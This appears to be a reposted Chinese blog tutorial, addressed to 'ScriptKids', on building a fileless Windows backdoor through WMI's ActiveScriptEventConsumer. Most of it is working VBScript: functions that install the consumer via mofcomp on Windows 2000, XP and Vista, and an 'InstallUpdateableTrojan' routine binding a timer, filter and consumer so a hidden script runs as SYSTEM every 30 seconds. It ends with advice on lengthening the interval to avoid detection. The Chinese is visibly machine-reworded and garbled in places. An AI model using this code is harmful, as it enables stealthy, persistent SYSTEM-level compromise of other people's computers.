来源于:菠萝蜜的菠萝格

Welcome!诸位ScriptKid,欢迎光临脚本全球。

今日忙了一天,较为累。不空话那么多了,选择主题。

这一“三无”侧门的关键便是WMI中的永久性事件消费者ActiveScriptEventConsumer(下称ASEC)。WMI中有很多这 类的事件消费者,简易的而言,当两者之间关联的事件抵达时,消费者便会被开启执行事先界定好的作用。比如能够用于执行二进制程序流程的 CommandLineEventConsumer这些

ASEC是WMI中的一个规范永久性事件消费者。它的功效是当两者之间关联的一个事件抵达时,能够执行一段事先设置好的JS/VBS脚本。

先看来一下其原形:

复制代码编码以下:
class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消费者的CreatorSID 写保护
uint32 KillTimeout = 0; //脚本容许被执行的時间 默认设置为0,脚本不容易被停止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定的事件消费者的姓名。
string ScriptingEngine; //用以表述脚本的脚本模块。VBScript或是JScript
string ScriptFileName; //假如你要从一个文档里边载入想执行的脚本得话,写上这儿吧。
string ScriptText; //用以执行的脚本编码。与ScriptFileName血海深仇。有了你没我,有我没你
};

ASEC的安装

针对XP之后的系统软件而言,ASEC早已默认设置安装来到root\subscription名字室内空间。我们可以立即启用。2000内置有ASEC的 mof文档,可是沒有默认设置安装,必须我们自己安装。此外因为绝大多数的事件全是在root\cimv2里造成,因此 假如你要立即捕捉一些系统软件事件做为触发器原理 得话,还得在别的的名字室内空间中安装ASEC。看来一下在2000/XP/Vista下安装ASEC到root\cimv2的编码。

复制代码编码以下:
Function InstallASECForWin2K ’安装ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘更换默认设置的名字室内空间
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安装ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’立即运作安装就可以
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安装ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //必须删掉autorecover,不然安装失败
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function

再看来一个关联事件和ASEC的案例。


复制代码编码以下:
Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所属的名字室内空间
TrojanName="ScriptKids" //自定的消费者姓名,也便是你的侧门的姓名
TrojanRunTimer=30000 //自定的脚本运作间距
strtxt="" //自定的脚本內容。为了更好地隐秘大家就无需scriptfilename了。会被Windows编号后载入CIM储存库
’配备事件消费者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配备记时器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配备事件过滤装置’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’关联消费者和过滤装置’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function


之上编码的含意便是在我们自定的一个记时器事件产生时,会被大家所配备的事件过滤装置捕捉到,并开启与过滤装置关联的消费者,也就是大家自定了脚本的ASEC。做到大家每过三十秒执行一次大家自定的脚本的目地。非常简单吧:)

最终说起的是,大家自定的脚本运作时,是由系统软件内置的scrcons.exe做为脚本寄主开展分析,而scrcons.exe是由系统软件以 SYSTEM管理权限起动的,换句话说,大家的脚本是以SYSTEM管理权限执行,而且其所建立的随意过程都是会承继SYSTEM管理权限。不完美的便是,每每脚本执 行后,会烟桥空出一个scrcons.exe的过程中。这也是这一脚本侧门现阶段最非常容易被发觉的一个缺点。但是,当这一脚本24小时才运作一次时,有多少 人要注意到呢?